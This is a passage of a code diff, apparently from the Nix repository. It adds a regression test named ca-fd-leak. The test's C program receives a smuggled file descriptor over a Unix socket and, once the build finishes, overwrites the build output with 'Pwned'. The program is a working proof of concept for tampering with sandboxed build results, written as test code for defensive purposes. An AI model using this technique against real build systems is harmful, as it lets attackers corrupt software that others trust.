fprintf(stderr, "%s\n", "Waiting for the first connection");
|
||||
int a = accept(sock, 0, 0);
|
||||
if (a < 0) perror("accept");
|
||||
|
||||
struct msghdr msg = {0};
|
||||
msg.msg_control = malloc(128);
|
||||
msg.msg_controllen = 128;
|
||||
|
||||
// Receive the file descriptor as sent by the smuggler.
|
||||
recvmsg(a, &msg, 0);
|
||||
|
||||
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
while (hdr) {
|
||||
if (hdr->cmsg_level == SOL_SOCKET
|
||||
&& hdr->cmsg_type == SCM_RIGHTS) {
|
||||
|
||||
// Grab the copy of the file descriptor.
|
||||
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
|
||||
}
|
||||
|
||||
hdr = CMSG_NXTHDR(&msg, hdr);
|
||||
}
|
||||
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
|
||||
close(a);
|
||||
|
||||
// Wait for a second connection, which will tell us that the build is
|
||||
// done
|
||||
a = accept(sock, 0, 0);
|
||||
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
|
||||
// Write a new content to the file
|
||||
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
|
||||
char * new_content = "Pwned\n";
|
||||
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
|
||||
if (written_bytes != strlen(new_content)) perror("write");
|
||||
}
|
||||
@@ -109,7 +109,7 @@ in
|
||||
nix.package = lib.mkForce pkgs.nixVersions.nix_2_13;
|
||||
};
|
||||
};
|
||||
|
||||
|
||||
# TODO: (nixpkgs update) remoteBuildsSshNg_remote_2_18 = ...
|
||||
|
||||
# Test our Nix as a builder for clients that are older
|
||||
@@ -156,4 +156,6 @@ in
|
||||
(system: runNixOSTestFor system ./setuid.nix);
|
||||
|
||||
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
|
||||
|
||||
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user